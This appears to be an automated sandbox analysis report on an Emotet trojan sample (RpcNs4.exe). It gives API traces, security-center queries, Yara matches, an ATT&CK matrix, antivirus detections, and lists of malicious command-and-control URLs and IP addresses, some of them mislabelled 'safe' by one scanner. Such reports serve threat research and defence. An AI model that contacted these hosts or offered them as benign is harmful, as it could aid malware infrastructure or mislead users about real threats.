Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0041994B
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	4_2_0040D16E
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	4_2_0041119A
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	4_2_004191AF
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00419A1F
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_0041947F
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: EnumSystemLocalesW,	4_2_00419423
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_0040FC2A
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_004194FC
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	4_2_00410D5A
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_0041957F
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: EnumSystemLocalesW,	4_2_0040FE0B
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: GetLocaleInfoW,	4_2_0040FE91
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00419774
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_memmove,_memmove,_memmove,_free,_free,_free,_free,_free,_free,_free,_free,_free,	4_2_00415723
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_004117D4

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_0041201C cpuid

2_2_0041201C

Source: C:\Users\user\Desktop\RpcNs4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_00406001 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00406001

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Code function: 4_2_020B5300 GetNativeSystemInfo,GetNativeSystemInfo,RtlGetVersion,

4_2_020B5300

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000C.00000002.517735542.0000018992E3D000.00000004.00000001.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000C.00000002.517898237.0000018992F02000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 2.2.RpcNs4.exe.5e279e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.20b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51279e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.5e052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.20b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51279e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.5e052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.5e279e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.517659433.0000000000510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.256801219.00000000005F4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.256746048.00000000005E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519022380.0000000002094000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Windows Service1	Windows Service1	Masquerading121	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Native API11	DLL Side-Loading1	Process Injection2	Disable or Modify Tools1	LSASS Memory	Security Software Discovery61	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Application Shimming1	DLL Side-Loading1	Virtualization/Sandbox Evasion2	Security Account Manager	Virtualization/Sandbox Evasion2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Application Shimming1	Process Injection2	NTDS	Process Discovery3	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	System Information Discovery45	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RpcNs4.exe	78%	Virustotal		Browse
RpcNs4.exe	74%	Metadefender		Browse
RpcNs4.exe	89%	ReversingLabs	Win32.Trojan.Emotet
RpcNs4.exe	100%	Avira	TR/AD.Emotet.dbl
RpcNs4.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.2.RpcNs4.exe.20b0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.networkitemfactory.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138861	Download File
2.2.RpcNs4.exe.5e279e.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.RpcNs4.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138861	Download File
4.2.networkitemfactory.exe.51052e.2.unpack	100%	Avira	HEUR/AGEN.1142428	Download File
2.2.RpcNs4.exe.5e052e.2.unpack	100%	Avira	HEUR/AGEN.1142428	Download File
4.0.networkitemfactory.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138861	Download File
4.2.networkitemfactory.exe.51279e.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.networkitemfactory.exe.20b0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.0.RpcNs4.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138861	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://5.189.168.53:8080/o3fBhuuz/	0%	Avira URL Cloud	safe
http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/2	0%	Avira URL Cloud	safe
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/p	0%	Avira URL Cloud	safe
http://190.191.171.72/e7oyvJu0ryVUBL/0INT0lnzMU2/MpBFVePNcAJo4Omc/IfhZZOLYmyGUpB2z7/y67uuC8o/	0%	Avira URL Cloud	safe
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/c/IfhZZOLYmyGUpB2z7/y67uuC8o/	0%	Avira URL Cloud	safe
http://5.189.168.53:8080/o3fBhuuz/m	0%	Avira URL Cloud	safe
http://5.189.168.53:8080/o3fBhuuz/i	0%	Avira URL Cloud	safe
http://190.85.46.52:7080/1CMBtWf1oEz5/	0%	Avira URL Cloud	safe
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/	0%	Avira URL Cloud	safe
http://190.85.46.52:7080/1CMBtWf1oEz5/f	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/5	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
http://5.189.168.53:8080/o3fBhuuz/3	0%	Avira URL Cloud	safe
https://dynamic.t	0%	URL Reputation	safe
http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/	0%	Avira URL Cloud	safe
http://190.85.46.52:7080/1CMBtWf1oEz5/m32	0%	Avira URL Cloud	safe
http://5.189.168.53:8080/o3fBhuuz/#	0%	Avira URL Cloud	safe
http://37.205.9.252:7080/RFYvVKd2K/sy7dp7xsNv9/Rrh3Sh9wg/SwbGDOylYnDUpHudO/ri7bprIvQeGD/Bd2yo6ti2p6c	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://5.189.168.53:8080/o3fBhuuz/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/2	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000A.00000002.310130711.000001BD7A842000.00000004.00000001.sdmp	false		high
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/p	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://190.191.171.72/e7oyvJu0ryVUBL/0INT0lnzMU2/MpBFVePNcAJo4Omc/IfhZZOLYmyGUpB2z7/y67uuC8o/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000A.00000002.310130711.000001BD7A842000.00000004.00000001.sdmp	false		high
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/c/IfhZZOLYmyGUpB2z7/y67uuC8o/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://5.189.168.53:8080/o3fBhuuz/m	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://5.189.168.53:8080/o3fBhuuz/i	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://appexmapsappupdate.blob.core.windows.net	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
http://190.85.46.52:7080/1CMBtWf1oEz5/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000003.309474542.000001BD7A845000.00000004.00000001.sdmp	false		high
http://190.85.46.52:7080/1CMBtWf1oEz5/f	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000003.309474542.000001BD7A845000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000005.00000002.519834016.000001A00E260000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	false		high
http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/5	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	false		high
http://5.189.168.53:8080/o3fBhuuz/3	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 0000000A.00000003.309396699.000001BD7A862000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://190.85.46.52:7080/1CMBtWf1oEz5/m32	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000A.00000002.310115050.000001BD7A839000.00000004.00000001.sdmp	false		high
http://5.189.168.53:8080/o3fBhuuz/#	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	false		high
http://37.205.9.252:7080/RFYvVKd2K/sy7dp7xsNv9/Rrh3Sh9wg/SwbGDOylYnDUpHudO/ri7bprIvQeGD/Bd2yo6ti2p6c	networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com	svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
126.126.139.26	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	true
192.210.217.94	unknown	United States	36352	AS-COLOCROSSINGUS	true
223.17.215.76	unknown	Hong Kong	18116	HGC-AS-APHGCGlobalCommunicationsLimitedHK	true
185.208.226.142	unknown	Hungary	43359	TARHELYHU	true
14.241.182.160	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	true
75.127.14.170	unknown	United States	36352	AS-COLOCROSSINGUS	true
172.96.190.154	unknown	Canada	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
78.114.175.216	unknown	France	8228	CEGETEL-ASFR	true
51.38.201.19	unknown	France	16276	OVHFR	true
200.116.93.61	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	true
115.78.11.155	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	true
203.153.216.178	unknown	Indonesia	45291	SURF-IDPTSurfindoNetworkID	true
190.191.171.72	unknown	Argentina	10481	TelecomArgentinaSAAR	true
220.147.247.145	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	true
143.95.101.72	unknown	United States	62729	ASMALLORANGE1US	true
5.189.168.53	unknown	Germany	51167	CONTABODE	true
113.156.82.32	unknown	Japan	2516	KDDIKDDICORPORATIONJP	true
103.229.73.17	unknown	Indonesia	55660	MWN-AS-IDPTMasterWebNetworkID	true
182.227.240.189	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	true
178.33.167.120	unknown	France	16276	OVHFR	true
162.144.42.60	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
190.190.15.20	unknown	Argentina	10481	TelecomArgentinaSAAR	true
95.216.205.155	unknown	Germany	24940	HETZNER-ASDE	true
37.187.100.220	unknown	France	16276	OVHFR	true
41.212.89.128	unknown	Kenya	15399	WANANCHI-KE	true
190.85.46.52	unknown	Colombia	14080	TelmexColombiaSACO	true
120.51.34.254	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	true
187.189.66.200	unknown	Mexico	22884	TOTALPLAYTELECOMUNICACIONESSADECVMX	true
88.247.58.26	unknown	Turkey	9121	TTNETTR	true
103.93.220.182	unknown	Philippines	17639	CONVERGE-ASConvergeICTSolutionsIncPH	true
181.95.133.104	unknown	Argentina	7303	TelecomArgentinaSAAR	true
117.247.235.44	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	true
138.201.45.2	unknown	Germany	24940	HETZNER-ASDE	true
37.205.9.252	unknown	Czech Republic	24971	MASTER-ASCzechRepublicwwwmasterczCZ	true
190.194.12.132	unknown	Argentina	10481	TelecomArgentinaSAAR	true
186.20.52.237	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	true
118.243.83.70	unknown	Japan	4685	ASAHI-NETAsahiNetJP	true
103.80.51.61	unknown	Thailand	136023	PTE-AS-APPTEGroupCoLtdTH	true
103.48.68.173	unknown	India	17754	EXCELL-ASExcellmediaIN	true
185.86.148.68	unknown	Latvia	52173	MAKONIXLV	true
103.133.66.57	unknown	India	138520	LNSPL-AS-APLaluNetworkSolutionsPrivateLimitedIN	true
157.245.138.101	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
119.92.77.17	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	true
46.105.131.68	unknown	France	16276	OVHFR	true
172.105.78.244	unknown	United States	63949	LINODE-APLinodeLLCUS	true
37.46.129.215	unknown	Russian Federation	29182	THEFIRST-ASRU	true
192.163.221.191	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
162.241.41.111	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
190.192.39.136	unknown	Argentina	10481	TelecomArgentinaSAAR	true
45.177.120.37	unknown	Brazil	268987	NETLIMITTELECOMBR	true
202.166.170.43	unknown	Pakistan	55501	CONNECTEL-PK141-143MaulanaShaukatAliRoadPK	true
86.57.216.23	unknown	Belarus	6697	BELPAK-ASBELPAKBY	true
113.161.148.81	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	true
157.7.164.178	unknown	Japan	7506	INTERQGMOInternetIncJP	true
116.202.10.123	unknown	Germany	24940	HETZNER-ASDE	true
192.241.220.183	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
115.176.16.221	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	true
198.57.203.63	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
46.32.229.152	unknown	United Kingdom	20738	GD-EMEA-DC-LD5GB	true
